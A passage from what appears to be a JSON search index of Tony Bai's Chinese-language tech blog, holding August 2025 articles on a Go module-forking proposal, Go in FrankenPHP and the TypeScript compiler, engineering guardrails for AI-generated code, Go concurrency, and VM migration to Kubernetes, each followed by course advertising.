github.com/upstream/foo/… 的导入，就自动把它理解成是对我自己（github.com/bigwhite/foo/…）的导入。”\n这个简单的改动，将带来革命性的好处：\n代码零修改：你不再需要改动任何一行 .go 文件的代码。所有的内部导入路径都可以保持原样。 PR 干净清爽：提交给上游的 PR，将只包含那几行真正有价值的逻辑变更，让 Code Review 变得高效而专注。 告别合并地狱：由于你的代码库中没有任何路径变更，同步上游的最新代码将变得无比顺畅，再也不会有那些毫无意义的合并冲突。 整个 Fork 的过程，将从一场全局替换的噩梦，简化为在 go.mod 文件中进行两条指令的修改。这无疑将极大地解放生产力。\n社区的考虑 当然，社区对于这个提案也有一些讨论和顾虑。\n有评论者担心，这会让一个包可以被多个不同的名称引用，从而造成混淆。但我非常赞同提案者 Josharian 的回应：“如果这让你痛苦，那就别这么做。”（If it hurts, don’t do it.）我们不应该因为少数人可能滥用一个特性（比如用 replace “mod” =\u0026gt; … 这种极易冲突的短名称），就阻止解决一个普遍存在的、让绝大多数开发者受益的痛点。\n此外，社区的讨论也引出了一些更有趣的思考：\nrename vs replace：有评论建议引入一个新的 rename 指令。相比 replace（替换），rename（重命名）的语义可能更清晰，它可能意味着“将旧名称彻底重命名为新名称，并禁止在模块内再使用旧名称”，这能更好地解决“多名称”的混淆问题。\ngo install 的兼容性：另一个重要的问题是，当前被 Fork 并修改了 go.mod 的项目，往往无法被 go install 直接安装。任何官方的解决方案，都应该将工具链的这种行为一致性考虑在内，确保 go install 也能正确处理这种“别名”模块。\n小结 Go 模块的“分叉之痛”，是 Go 社区一个长期存在、真实且普遍的工程难题。它虽然不影响语言的核心功能，却实实在在地增加了社区协作的摩擦，抑制了开源贡献的活力。\n提案 #74884，无论最终是以 replace 还是 rename 的形式，又或是后续有其他新的形式被采纳，都为解决这个问题指明了一个清晰、优雅的方向。一个官方支持的、能让 Fork 过程变得轻松愉快的解决方案，将极大地降低社区贡献的门槛，让“随手修复一个 Bug”真正成为现实。\n这不仅关乎工具链的改进，更关乎整个 Go 开源生态的繁荣与健康。让我们拭目以待，并期待 Go 工具链团队能听到社区的呼声，终结这场“全局替换”的噩梦。\n资料链接：https://github.com/golang/go/issues/74884\n你的Go技能，是否也卡在了“熟练”到“精通”的瓶颈期？\n想写出更地道、更健壮的Go代码，却总在细节上踩坑？ 渴望提升软件设计能力，驾驭复杂Go项目却缺乏章法？ 想打造生产级的Go服务，却在工程化实践中屡屡受挫？ 继《Go语言第一课》后，我的《Go语言进阶课》终于在极客时间与大家见面了！\n我的全新极客时间专栏 《Tony Bai·Go语言进阶课》就是为这样的你量身打造！30+讲硬核内容，带你夯实语法认知，提升设计思维，锻造工程实践能力，更有实战项目串讲。\n目标只有一个：助你完成从“Go熟练工”到“Go专家”的蜕变！ 现在就加入，让你的Go技能再上一个新台阶！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2025/08/07/fork-go-module/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/2025/fork-go-module-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2025/08/07/fork-go-module\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2025/08/07/fork-go-module\"\u003ehttps://tonybai.com/2025/08/07/fork-go-module\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cp\u003e今天，我想和你聊一个几乎每个 Go 开发者都经历过的场景，一种我们圈内人“只可意会，不可言传”的痛苦。我称之为 Go 模块的**“分叉之痛” (The Forking Pain)**。\u003c/p\u003e","title":"Go 模块的“分叉之痛”：一个提案能否终结“全局替换”的噩梦？"},{"content":"Go语言正在成为“老旧”生态的“新引擎”？从 FrankenPHP 和新版 TypeScript 编译器谈起 - Tony Bai Tony Bai 一个程序员的心路历程\nGoogle Go语言编码风格规范\nGoogle Go语言编码风格规范：指南篇 Google Go语言编码风格规范：决定篇 Google Go语言编码风格规范：最佳实践篇 Go语言第一课FAQ\nGo语言进阶课FAQ\n关于我\n我的技术专栏\n文章列表\nGo语言正在成为“老旧”生态的“新引擎”？从 FrankenPHP 和新版 TypeScript 编译器谈起 八月 6, 2025 0 条评论 本文永久链接 – https://tonybai.com/2025/08/06/go-new-engine-of-old-languages\n大家好，我是Tony Bai。\n我先来描述一种编程语言生态，请你猜猜它是谁：\n它诞生于 1995 年，旨在为当时一个叫“万维网”的新平台构建应用。起初只是个小项目，却在互联网泡沫中野蛮生长，成为史上用户最广的语言之一。它曾被“严肃”的程序员们嘲笑了几十年，但最终得到了科技巨头的加持，迎来了事业的第二春。如今，它正迈向 30 岁，而其生态中最重要的一环——它的一个超集语言的编译器，正在被 Go 语言 重写以驱动未来。\n你的第一反应，很可能是 JavaScript 生态。完全正确。这个超集语言，就是 TypeScript。\n但这段描述，同样完美地适用于另一个名字：PHP。它也诞生于 1995 年，同样在 Web 浪潮中崛起，同样被嘲笑，同样迎来了第二春，而现在，一个基于 Go 语言 的新项目，也正在驱动着它的未来。\n这两种语言，就像是同一枚硬币的两面，共同定义了 Web 编程的客户端与服务器端。而今天，我想和你聊的，正是它们故事中那个令人意想不到的、与我们 Gopher 息息相关的交集——Go 语言的角色。\n编程语言中的“丰田卡罗拉” 在深入主题之前，我们必须先理解 PHP 的生态位。一篇精彩的博文将其比作编程语言中的“丰田卡罗拉”——无聊、坚固、简单、实惠。\n它或许永远不会出现在技术发布会最酷炫的 Demo 上，但它和它经典的 LAMP（Linux, Apache, MySQL, PHP）组合，让全世界数以百万计的普通开发者，能以最低的成本、最可靠的方式，解决一个最实际的问题：搭建一个能用的网站。\nC++ 的创造者 Bjarne Stroustrup 有一句名言：“世界上只有两种语言：一种是被人拼命吐槽的，另一种是没人用的。”\nPHP 显然属于前者。它曾被嘲笑为“糟糕设计的集合体”，但它也支撑着全球 70% 以上的网站。这个数字，无论你用何种挑剔的眼光审视，都无法否认其巨大的成功和顽强的生命力。\nGo：一个意想不到的“新引擎” 多年以来，PHP 和 JavaScript 这两个庞大的生态，在各自的轨道上独立演进。但最近，一个令人瞩目的趋势正在浮现：Go 语言，正在成为驱动这两个“老旧”生态进行现代化改造的“新引擎”。\n案例一：FrankenPHP – 用 Go 为 PHP “换心”\n如果你经历过在容器时代部署 PHP 应用的痛苦，你一定对 Nginx + FPM + Supervisor 这套复杂而脆弱的“三件套”记忆犹新。配置繁琐、性能瓶颈、进程管理困难，每一个都是噩梦。\n现在，FrankenPHP 出现了。这是一个用 Go 语言编写的、全新的、高性能的 PHP 应用服务器，最近已被 PHP 基金会正式采纳。\n它的革命性在于：\n部署极简：它是一个单一的静态 Go 二进制文件。部署一个 PHP 应用，现在只需要一个包含这个二进制文件和你的 PHP 代码的、极其简单的 Dockerfile。Nginx, FPM, Supervisor 通通被扔进了历史的垃圾堆。 性能卓越：它内置了一个基于 Caddy（另一个伟大的 Go 项目）的高性能 HTTP 服务器，并提供了全新的执行模型，性能远超传统模式。 能力强大：Go 强大的并发能力和成熟的网络库，让 FrankenPHP 天生具备了现代应用服务器所需的一切。 是 Go 语言，以一种釜底抽薪的方式，解决了 PHP 生态在云原生时代最大的部署和运维难题。\n案例二：新版 TypeScript 编译器 – 用 Go 提速\n无独有偶，在 Web 的另一端，JavaScript 生态也迎来了 Go 语言的赋能。微软最近宣布了一个激动人心的项目：用 Go 语言来重写 TypeScript 编译器。\nTypeScript 作为 JavaScript 的超集，已经成为构建大型、复杂前端和后端应用的事实标准。它的编译器，是整个生态中至关重要的基础设施。\n为什么选择 Go？答案同样简单而直接：性能，当然也有其他一些考虑。\n编译器本质上是极其消耗 CPU 的密集型任务。随着 TypeScript 项目日益庞大和复杂，原有的编译器性能逐渐成为瓶颈。而 Go 语言，凭借其接近 C/C++ 的运行效率、卓越的并发模型以及内存安全保证，成为了构建下一代高性能编译器的理想选择。\nGo 语言的新角色：从“建新城”到“改旧都” 这两个案例，揭示了 Go 语言一个正在崛起的新角色。\n过去，我们谈论 Go，更多的是用它来构建全新的云原生微服务——我们用它在一片空地上“建新城”。但现在，我们看到，Go 凭借其三大核心优势，正在成为改造和赋能现有庞大技术生态的“基础设施底座”。我们开始用它来“改造旧都”。\n这三大优势是：\n极致的性能：对于需要压榨性能的系统工具（如编译器、服务器），Go 提供了一个远比 C/C++ 更安全、更具生产力的选择。 无与伦比的部署简便性：静态链接的单一二进制文件，是为容器和 DevOps 时代而生的“终极交付物”。 现代化的并发模型：Goroutine 和 Channel，为解决现代软件中无处不在的并发问题，提供了最优雅、最高效的语言级方案。 Go 语言，正在从一个单纯的应用开发语言，下沉为更底层的、为其他生态提供核心动力的“引擎层”。\n结论：拥抱务实，而非追逐光环 PHP 的故事，以及它与 Go 的这段奇妙姻缘，带给我们最深刻的启示，是一种超越语言之争的工程实用主义精神。\n真正的技术进步，不仅仅在于创造全新的、闪闪发光的东西，更在于用更强大的工具，去务实地优化、改造和盘活那些已经支撑着世界运转的庞大系统。这是一种更深沉、更具影响力的贡献。\n而 Go 语言，正在这个伟大的进程中，扮演着越来越重要的角色。作为 Gopher，我们不仅在“建新城”，我们也在为这个数字世界的“旧都”，换上一个更强劲、更可靠的“新引擎”。这，或许是 Go 语言未来最激动人心的篇章之一。\n资料链接：https://deprogrammaticaipsum.com/the-toyota-corolla-of-programming/\n你的Go技能，是否也卡在了“熟练”到“精通”的瓶颈期？\n想写出更地道、更健壮的Go代码，却总在细节上踩坑？ 渴望提升软件设计能力，驾驭复杂Go项目却缺乏章法？ 想打造生产级的Go服务，却在工程化实践中屡屡受挫？ 继《Go语言第一课》后，我的《Go语言进阶课》终于在极客时间与大家见面了！\n我的全新极客时间专栏 《Tony Bai·Go语言进阶课》就是为这样的你量身打造！30+讲硬核内容，带你夯实语法认知，提升设计思维，锻造工程实践能力，更有实战项目串讲。\n目标只有一个：助你完成从“Go熟练工”到“Go专家”的蜕变！ 现在就加入，让你的Go技能再上一个新台阶！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2025/08/06/go-new-engine-of-old-languages/","summary":"\u003ch1 id=\"go语言正在成为老旧生态的新引擎从-frankenphp-和新版-typescript-编译器谈起---tony-bai\"\u003eGo语言正在成为“老旧”生态的“新引擎”？从 FrankenPHP 和新版 TypeScript 编译器谈起 - Tony Bai\u003c/h1\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/\"\u003eTony Bai\u003c/a\u003e\n一个程序员的心路历程\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/google-go-style/\" title=\"Google Go语言编码风格规范\"\u003eGoogle Go语言编码风格规范\u003c/a\u003e\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://tonybai.com/google-go-style/google-go-style-guide/\" title=\"Google Go语言编码风格规范：指南篇\"\u003eGoogle Go语言编码风格规范：指南篇\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://tonybai.com/google-go-style/google-go-style-decisions/\" title=\"Google Go语言编码风格规范：决定篇\"\u003eGoogle Go语言编码风格规范：决定篇\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://tonybai.com/google-go-style/google-go-style-best-practices/\" title=\"Google Go语言编码风格规范：最佳实践篇\"\u003eGoogle Go语言编码风格规范：最佳实践篇\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/go-course-faq/\" title=\"Go语言第一课FAQ\"\u003eGo语言第一课FAQ\u003c/a\u003e\u003c/p\u003e","title":"Go语言正在成为“老旧”生态的“新引擎”？从 FrankenPHP 和新版 TypeScript 编译器谈起"},{"content":"警惕 AI 效率神话：你是“闪电战”的独立开发者，还是“持久战”的工程师？ - Tony Bai Tony Bai 一个程序员的心路历程\nGoogle Go语言编码风格规范\nGoogle Go语言编码风格规范：指南篇 Google Go语言编码风格规范：决定篇 Google Go语言编码风格规范：最佳实践篇 Go语言第一课FAQ\nGo语言进阶课FAQ\n关于我\n我的技术专栏\n文章列表\n警惕 AI 效率神话：你是“闪电战”的独立开发者，还是“持久战”的工程师？ 八月 6, 2025 0 条评论 本文永久链接 – https://tonybai.com/2025/08/06/blitzkrieg-vs-attrition-in-ai-age\n大家好，我是Tony Bai。\n最近，我们的社交媒体时间线上，充斥着各种令人惊叹的 AI 效率神话。一些出海独立开发者，凭借 AI 的强大能力，在极短时间内“闪电般”地产出数个产品，上演着“一人成军”的传奇。\n这景象，在令人惊叹之余，也难免给我们这些在大型项目和复杂系统中深耕的工程师，带来一丝焦虑：世界变化这么快，我们传统的开发模式和节奏，是否已经落伍了？\n今天，我想和你深入探讨这背后的本质。我们需要清醒地认识到，这其实是两种目标、路径、评价体系都截然不同的开发模式。我称之为：“闪电战”与“持久战”。\n“闪电战”模式：速度优先的“代码喷射器” 首先，我们必须理解那些“效率神话”主角们的战场。这是一种典型的“闪电战”模式。\n核心目标： 快速验证想法，通过大量的产品“赛马”，在广阔的市场中捕捉稍纵即逝的流量和商机。 产品生命周期： 极短，甚至可以说是“阅后即焚”。一个产品可能只有一周的生命周期。若数据不佳，便会毫不犹豫地被下线，开发者则迅速转向下一个想法。 AI 的角色： 在这个模式下，AI 是一个速度优先的“代码喷射器”。它的核心任务是在最短时间内生成能运行的代码。至于代码质量、设计一致性、可维护性、乃至长期的技术债，通通不在首要考虑之列。因为代码本身，就是一种“快速消费品”。 我们工程师的“持久战”模式：严谨可靠的“副驾驶” 现在，让我们回到自己的战场。我们绝大多数人从事的，是截然不同的“持久战”。\n核心目标： 构建稳定、可靠、可长期演进的系统。我们写的代码，很可能需要在金融、医疗、基础设施等关键领域，7×24 小时不间断地运行数年。 产品生命周期： 长期，以年为单位。每一次代码提交，都是在为一座摩天大楼添砖加瓦。 AI 的角色： 在这里，AI 必须是一个严谨可靠的“副驾驶”。它生成的每一行代码，都必须经受我们最严格的审视。因为我们，作为工程师，需要对 AI 产出的质量、安全性、性能、可维护性负全部责任。在这里，代码不再是消费品，而是需要长期持有和维护的核心资产——或者，沉重的技术负债。 看清这一点，我们就能明白：用“闪电战”的效率标准来衡量“持久战”的工作，是毫无意义的。 我们的战场不同，评价标准也完全不同。因此，我们完全没有必要为那种“一人一天N个产品”的神话而感到焦虑。\n我们“持久战”工程师的 AI 打法与“护栏” 那么，在我们的“持久战”中，应该如何正确地使用 AI，既享受其带来的效率提升，又保证工程质量呢？关键在于建立清晰的“护栏”。\n代码审查是最后防线： AI 生成的代码，必须经过比人类编写的代码更严格的审查。审查的重点，不应仅仅停留在功能实现，更要深入到安全漏洞、性能陷阱、设计模式是否恰当等深层问题。\n建立团队级“Prompt 知识库”： 鼓励团队沉淀高质量、包含完整上下文和明确规范要求的 Prompt 模板。这能保证 AI 输出的“起点”质量更高，更符合团队的架构和规范，而不是每次都从零开始“随机”生成。\nAI 专攻其擅长领域： 我们可以放心地让 AI 生成单元测试、API 文档、数据结构模板，或是在明确的模式下进行代码重构。但在核心架构设计、复杂业务逻辑实现等“高风险”领域，AI 只应作为提供思路参考的“顾问”，绝不能成为决策者。\n引入“AI 生成”标识： 在代码提交或 Code Review 流程中，可以引入规范，要求开发者明确标识出哪些部分是由 AI 主要生成的。这就像在施工图纸上标注出“预制件”，提醒审查者需要重点检查其接口和集成质量。\n小结：认清你的战场，定义你的价值 首先，我们需要明确一点：“闪电战”与“持久战”之间，没有高下对错之分，只有战场类型和战略目标的不同。 如果你是一位寻求市场机会的出海独立开发者，那么“闪电战”无疑是极佳的策略。它能让你以最低成本快速试错，抓住机会，并在数据不佳时果断放弃，及时止损。这是一种聪明且务实的生存之道。\n而对于我们绝大多数在企业中构建关键系统的工程师来说，认清我们身处“持久战”的现实，并重新定义我们在 AI 时代的价值，则至关重要。我们的核心竞争力，正在加速地从**“编写代码”，转向“定义问题、设计系统、制定标准、审查质量、保障稳定”**。\nAI 越是能高效地“写”，我们就越需要成为那个能提出正确问题、设计出健壮蓝图、并能精准鉴别优劣的**“架构师”和“质检员”**。我们的工作变得更“上游”，我们的思考变得更具决定性，我们的价值也因此而更高。\n所以，朋友们，请放下焦虑。清晰地认识到自己的战场，然后拥抱 AI 这个强大的“副驾驶”，在我们的“持久战”中，更高质量、更有效率地去构建那些真正能够改变世界、并经受住时间考验的系统。这，才是属于我们的战场，和我们的荣耀。\n你的Go技能，是否也卡在了“熟练”到“精通”的瓶颈期？\n想写出更地道、更健壮的Go代码，却总在细节上踩坑？ 渴望提升软件设计能力，驾驭复杂Go项目却缺乏章法？ 想打造生产级的Go服务，却在工程化实践中屡屡受挫？ 继《Go语言第一课》后，我的《Go语言进阶课》终于在极客时间与大家见面了！\n我的全新极客时间专栏 《Tony Bai·Go语言进阶课》就是为这样的你量身打造！30+讲硬核内容，带你夯实语法认知，提升设计思维，锻造工程实践能力，更有实战项目串讲。\n目标只有一个：助你完成从“Go熟练工”到“Go专家”的蜕变！ 现在就加入，让你的Go技能再上一个新台阶！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2025/08/06/blitzkrieg-vs-attrition-in-ai-age/","summary":"\u003ch1 id=\"警惕-ai-效率神话你是闪电战的独立开发者还是持久战的工程师---tony-bai\"\u003e警惕 AI 效率神话：你是“闪电战”的独立开发者，还是“持久战”的工程师？ - Tony Bai\u003c/h1\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/\"\u003eTony Bai\u003c/a\u003e\n一个程序员的心路历程\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/google-go-style/\" title=\"Google Go语言编码风格规范\"\u003eGoogle Go语言编码风格规范\u003c/a\u003e\u003c/p\u003e","title":"警惕 AI 效率神话：你是“闪电战”的独立开发者，还是“持久战”的工程师？"},{"content":"从“锁”到“channel”：开启你的Go并发心智模型转变之旅 - Tony Bai Tony Bai 一个程序员的心路历程\nGoogle Go语言编码风格规范\nGoogle Go语言编码风格规范：指南篇 Google Go语言编码风格规范：决定篇 Google Go语言编码风格规范：最佳实践篇 Go语言第一课FAQ\nGo语言进阶课FAQ\n关于我\n我的技术专栏\n文章列表\n从“锁”到“channel”：开启你的Go并发心智模型转变之旅 八月 5, 2025 0 条评论 本文永久链接 – https://tonybai.com/2025/08/05/go-concurrency-mental-model\n大家好，我是Tony Bai。\n如果你曾是 Java、C++ 或 Python 阵营的一员，你一定对 synchronized、std::mutex 或 threading.Lock 这些概念驾轻就熟。它们就像我们工具箱里熟悉的锤子，在处理并发问题时，我们总能下意识地拿起它，去“敲定”那些需要保护的共享资源。\n然而，当你满怀期待地步入 Go 的世界，准备大展拳脚时，却发现社区和高手们总在谈论一个看似“绕路”的概念——通道 (Channel)。他们反复强调一句如同“咒语”般的箴言：“不要通过共享内存来通信；相反，要通过通信来共享内存。”\n这时，困惑便产生了：\n“放着简单直接的锁不用，为什么要用看起来更复杂的 Channel？” “Channel 和 Mutex 到底该在什么场景下选择？有没有一个万能的法则？” “我用 Go 写的并发程序，为什么总感觉不地道，甚至比我用 Java 写的还容易出错？” 如果你曾有过这些疑问，那么恭喜你，你已经触及了掌握 Go 并发精髓的核心症结。问题不在于 Go 的语法有多难，而在于我们试图用旧的“心智模型”去套用一个全新的并发范式。这就像试图用拉丁语的语法去理解中文的意境，生硬的翻译只会让你离真相越来越远。\n这个微专栏，就是为你——一位从其他编程语言阵营走来，希望真正掌握 Go 并发精髓的开发者——量身打造的“心智模型”转变教程。\n在这里，我不会枯燥地罗列 API，也不会给你一堆零散的“最佳实践”。我的目标是带你完成一次思维的“破冰”与“重塑”。在这次由三节课组成的“转变之旅”中，我们将一起：\n第一课：心智模型转变。 我们将从根源上剖析 Go 并发哲学的不同，通过一个具象的案例，亲身体验从“加锁”思维到“通道通信”思维的转变是多么酣畅淋漓。你将明白，为何 Channel 才是 Go 并发世界的一等公民。\n第二课：心智模型实践。 我们会将新的心智模型应用到工业界最常见的并发模式中，并直面、破解“慢消费者”和“任务调度”这两个经典难题。\n第三课：心智模型升华。 我们将探讨并发编程中最容易被忽视，也最致命的一环——Goroutine 的生命周期与工程纪律。你将学会如何避免资源泄漏，如何优雅地控制和关闭你的并发程序。\n我不是来教你语法的，而是邀请你和我一起，完成一次思维的升级。我希望，当这个微专案结束时，你收获的不仅仅是几个可以复制粘贴的代码模板，而是一种全新的、看待并发问题的视角。你将能够自信地写出简洁、健壮、地道的 Go 并发代码，真正领略到这门语言在设计上的巧思与优雅。\n准备好了吗？扫描下方二维码订阅微专栏，让我们一起跳出那片熟悉的“锁”与“等待”的沼泽，正式开启这场 Go 并发心智模型的转变之旅。\n你的Go技能，是否也卡在了“熟练”到“精通”的瓶颈期？\n想写出更地道、更健壮的Go代码，却总在细节上踩坑？ 渴望提升软件设计能力，驾驭复杂Go项目却缺乏章法？ 想打造生产级的Go服务，却在工程化实践中屡屡受挫？ 继《Go语言第一课》后，我的《Go语言进阶课》终于在极客时间与大家见面了！\n我的全新极客时间专栏 《Tony Bai·Go语言进阶课》就是为这样的你量身打造！30+讲硬核内容，带你夯实语法认知，提升设计思维，锻造工程实践能力，更有实战项目串讲。\n目标只有一个：助你完成从“Go熟练工”到“Go专家”的蜕变！ 现在就加入，让你的Go技能再上一个新台阶！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2025/08/05/go-concurrency-mental-model/","summary":"\u003ch1 id=\"从锁到channel开启你的go并发心智模型转变之旅---tony-bai\"\u003e从“锁”到“channel”：开启你的Go并发心智模型转变之旅 - Tony Bai\u003c/h1\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/\"\u003eTony Bai\u003c/a\u003e\n一个程序员的心路历程\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/google-go-style/\" title=\"Google Go语言编码风格规范\"\u003eGoogle Go语言编码风格规范\u003c/a\u003e\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://tonybai.com/google-go-style/google-go-style-guide/\" title=\"Google Go语言编码风格规范：指南篇\"\u003eGoogle Go语言编码风格规范：指南篇\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://tonybai.com/google-go-style/google-go-style-decisions/\" title=\"Google Go语言编码风格规范：决定篇\"\u003eGoogle Go语言编码风格规范：决定篇\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://tonybai.com/google-go-style/google-go-style-best-practices/\" title=\"Google Go语言编码风格规范：最佳实践篇\"\u003eGoogle Go语言编码风格规范：最佳实践篇\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/go-course-faq/\" title=\"Go语言第一课FAQ\"\u003eGo语言第一课FAQ\u003c/a\u003e\u003c/p\u003e","title":"从“锁”到“channel”：开启你的Go并发心智模型转变之旅"},{"content":"后VMware时代：为什么Kubernetes正在成为VM的新家？ - Tony Bai Tony Bai 一个程序员的心路历程\nGoogle Go语言编码风格规范\nGoogle Go语言编码风格规范：指南篇 Google Go语言编码风格规范：决定篇 Google Go语言编码风格规范：最佳实践篇 Go语言第一课FAQ\nGo语言进阶课FAQ\n关于我\n我的技术专栏\n文章列表\n后VMware时代：为什么Kubernetes正在成为VM的新家？ 八月 5, 2025 0 条评论 本文永久链接 – https://tonybai.com/2025/mm/dd/the-voice-of-k8s-experts-report-2025\n大家好，我是Tony Bai。\n过去的一年，企业 IT 基础架构领域经历了一场剧烈的地震。震中，正是由博通（Broadcom）对 VMware 的收购所引发。这场地震带来的，不仅仅是技术栈的更迭，更是一场关于成本、信任与未来路线的“大迁徙”。\n最近，我读到一份来自 Portworx 的《2025 年 Kubernetes 专家之声报告》，它用翔实的数据，为这场正在发生的大迁徙描绘了一幅清晰的路线图。报告中的数字是惊人的：\n95% 的受访企业计划减少其 VMware 份额。 33% 的企业计划完全停止使用 VMware。 44% 的企业在续签 ELA（企业许可协议）时，成本增长超过了 100 万美元。 这已经不是零星的抱怨，而是一场由商业驱动的、不可逆转的技术浪潮。一个核心问题摆在了所有架构师面前：当企业决定“逃离” VMware 时，那些承载着核心业务的虚拟机（VMs），将何去何从？\n答案，正日益清晰地指向一个我们既熟悉又陌生的方向：Kubernetes。\n云原生的新常态：从“试验田”到“核心区” 在讨论 VM 的“新家”之前，我们必须先认清一个事实：Kubernetes 早已不是那个只运行无状态 Web 应用的“试验田”了。\n报告数据显示，云原生已经成为企业构建未来的默认选择。82% 的新应用将在云原生平台上构建，更重要的是，58% 的企业已经开始在 Kubernetes 上运行他们最核心的 Tier 0/1 级别的任务关键型应用。\n这意味着，Kubernetes 已经赢得了企业在性能、稳定性和数据安全方面的信任。它已经成功承载了：\n69% 的数据库 67% 的实时分析系统 60% 的 AI/ML 应用 可以说，Kubernetes 已经“身经百战”，证明了自己有能力处理最复杂、最重要的数据密集型工作负载。这为它成为传统 VM 的下一个归宿，奠定了坚实的基础。\nVM 的两条“出路”：现代化 vs 统一管理 当企业决定将 VM 工作负载迁出 VMware 时，报告揭示了两条并驾齐驱的主要技术路线：\n1. 路径一：彻底现代化 (Modernize) – 59% 的选择\n这是最“纯粹”的云原生路径：将传统的、运行在 VM 中的单体或分层应用，进行重构，将其彻底容器化。这条路的好处是能最大化地享受云原生带来的弹性、敏捷性和可移植性。但挑战也最大，它需要大量的重构工作，成本高昂且周期漫长。\n2. 路径二：统一管理 (Consolidate) – 57% 的选择\n这是一条更务实、更具变革意义的路径：不改变 VM 本身，而是将 VM 的管理平面，统一到 Kubernetes 之上。\n通过使用 KubeVirt（报告指出 Red Hat OpenShift Virtualization 是市场首选）等技术，开发者可以在同一个 Kubernetes 集群里，像管理 Pod 一样，去声明、部署、运维和监控传统的虚拟机。\n这一趋势，标志着 Kubernetes 的角色正在发生一次深刻的进化：它不再仅仅是一个“容器编排器”，而是在向“数据中心的通用控制平面”演进。 它旨在用一套统一的、声明式的 API，来管理数据中心里的一切——无论是现代的容器，还是“陈旧”的虚拟机。\n新战场的挑战：当 VM 跑在 K8s 上 这场宏大的技术迁徙，并非一路坦途。报告同样揭示了这条路上最难啃的几块“硬骨头”：\n最大的挑战是人：技能差距 (Skills Gap) – 61% 传统的 vSphere 管理员面对的是熟悉的图形化界面，而 Kubernetes 的世界则是由 kubectl、YAML 和复杂的命令行构成的。这要求整个基础设施团队进行一次彻底的知识体系和运维模型的迭代，挑战巨大。\n最硬的骨头是数据：存储 (Storage) – 69% 这是将有状态应用（包括 VM）迁移到 Kubernetes 上的永恒难题。VM 习惯于稳定、高性能的块存储（如 vSAN、VMFS）。如何在 Kubernetes 的动态环境中，为 VM 提供企业级的存储、数据保护和灾难恢复能力，是最大的技术挑战。报告中提到，85% 的企业希望在 K8s 上能复制他们现有的存储架构，这个需求清晰而迫切。\n迁移比想象的更难 报告对比了 2024 年和 2025 年的数据，发现企业完成迁移的预期时间正在普遍推迟。例如，预期在 2027 年前完成迁移的比例，从去年的 83% 下降到了今年的 67%。这 16 个百分点的下降，无声地诉说着这场迁移的复杂性和艰巨性。\n小结 由商业决策引发的技术变革，往往最为迅猛和彻底。企业“逃离” VMware，背后是成本压力、现代化需求和摆脱厂商锁定的多重驱动。\n在这场浪潮中，Kubernetes 凭借其开放、可扩展和业已成熟的生态，正在成为承接这场“大迁徙”的最终目的地。它正在成为现代基础设施的通用操作系统，统一管理着从最新的云原生应用，到最传统的虚拟机的一切。\n对于我们工程师而言，这意味着一个明确的信号：理解如何在 Kubernetes 上管理有状态应用和虚拟机，将不再是一项边缘或小众的技能，它正迅速成为云原生时代一项不可或缺的核心竞争力。 无论你选择帮助企业“现代化”应用，还是选择在 K8s 上“统一管理”VM，未来的机遇，都蕴含在这场波澜壮阔的技术变革之中。\n资料链接：https://www.cncf.io/blog/2025/08/02/what-500-experts-revealed-about-kubernetes-adoption-and-workloads/\n你的Go技能，是否也卡在了“熟练”到“精通”的瓶颈期？\n想写出更地道、更健壮的Go代码，却总在细节上踩坑？ 渴望提升软件设计能力，驾驭复杂Go项目却缺乏章法？ 想打造生产级的Go服务，却在工程化实践中屡屡受挫？ 继《Go语言第一课》后，我的《Go语言进阶课》终于在极客时间与大家见面了！\n我的全新极客时间专栏 《Tony Bai·Go语言进阶课》就是为这样的你量身打造！30+讲硬核内容，带你夯实语法认知，提升设计思维，锻造工程实践能力，更有实战项目串讲。\n目标只有一个：助你完成从“Go熟练工”到“Go专家”的蜕变！ 现在就加入，让你的Go技能再上一个新台阶！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2025/08/05/the-voice-of-k8s-experts-report-2025/","summary":"\u003ch1 id=\"后vmware时代为什么kubernetes正在成为vm的新家---tony-bai\"\u003e后VMware时代：为什么Kubernetes正在成为VM的新家？ - Tony Bai\u003c/h1\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/\"\u003eTony Bai\u003c/a\u003e\n一个程序员的心路历程\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/google-go-style/\" title=\"Google 